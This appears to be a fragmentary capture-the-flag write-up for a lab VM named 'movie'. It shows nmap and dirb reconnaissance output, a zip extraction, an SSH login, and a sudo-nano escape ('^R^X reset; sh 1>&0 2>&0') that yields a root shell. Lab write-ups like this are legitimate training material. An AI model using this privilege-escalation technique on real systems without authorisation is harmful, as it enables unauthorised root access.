kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.178.99 [18:49:18] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 18:49 CST Nmap scan report for 192.168.178.99 Host is up (0.039s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:29:BB:50 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds
kali@kali [~] ➜ sudo nmap -sT -sC -sV -O -p22,80 192.168.178.99 [18:49:49] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 18:50 CST Nmap scan report for 192.168.178.99 Host is up (0.00068s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 e7:c1:40:66:c0:be:c8:86:dd:58:21:4a:03:76:78:12 (RSA) | 256 86:9f:0d:8f:f1:e0:62:90:65:cf:79:ee:5e:e3:12:01 (ECDSA) |_ 256 2a:e0:ac:89:49:dd:e5:3a:8f:47:36:7a:2f:07:11:b8 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: movie.hmv |_http-server-header: Apache/2.4.54 (Debian) MAC Address: 08:00:27:29:BB:50 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds
----------------- DIRB v2.22 By The Dark Raver -----------------
START_TIME: Sun Mar 23 18:51:28 2025 URL_BASE: http://192.168.178.99/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.178.99/ ---- ==> DIRECTORY: http://192.168.178.99/data/ ==> DIRECTORY: http://192.168.178.99/dist/ + http://192.168.178.99/index.php (CODE:200|SIZE:552) + http://192.168.178.99/server-status (CODE:403|SIZE:279) + http://192.168.178.99/sitemap.xml (CODE:200|SIZE:762) ---- Entering directory: http://192.168.178.99/data/ ---- ==> DIRECTORY: http://192.168.178.99/data/dist/ + http://192.168.178.99/data/index.php (CODE:302|SIZE:0) ---- Entering directory: http://192.168.178.99/dist/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.178.99/data/dist/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sun Mar 23 18:51:40 2025 DOWNLOADED: 9224 - FOUND: 4
Scanning the drive for archives: 1 file, 7731 bytes (8 KiB)
Extracting archive: mydata_archive.zip -- Path = mydata_archive.zip Type = zip Physical Size = 7731
Would you like to replace the existing file: Path: ./404.html Size: 919 bytes (1 KiB) Modified: 2022-09-28 14:09:09 with the file from archive: Path: 404.html Size: 919 bytes (1 KiB) Modified: 2022-09-28 14:09:09 ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 23 11:15:05 2025 from 192.168.178.141 tarantino@movie:~$
1 2 3 4 5 6
tarantino@movie:~$ sudo -l Matching Defaults entries for tarantino on movie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tarantino may run the following commands on movie: (root) NOPASSWD: /usr/bin/nano /etc/passwd
1 2 3
sudo /usr/bin/nano /etc/passwd ^R^X reset; sh 1>&0 2>&0
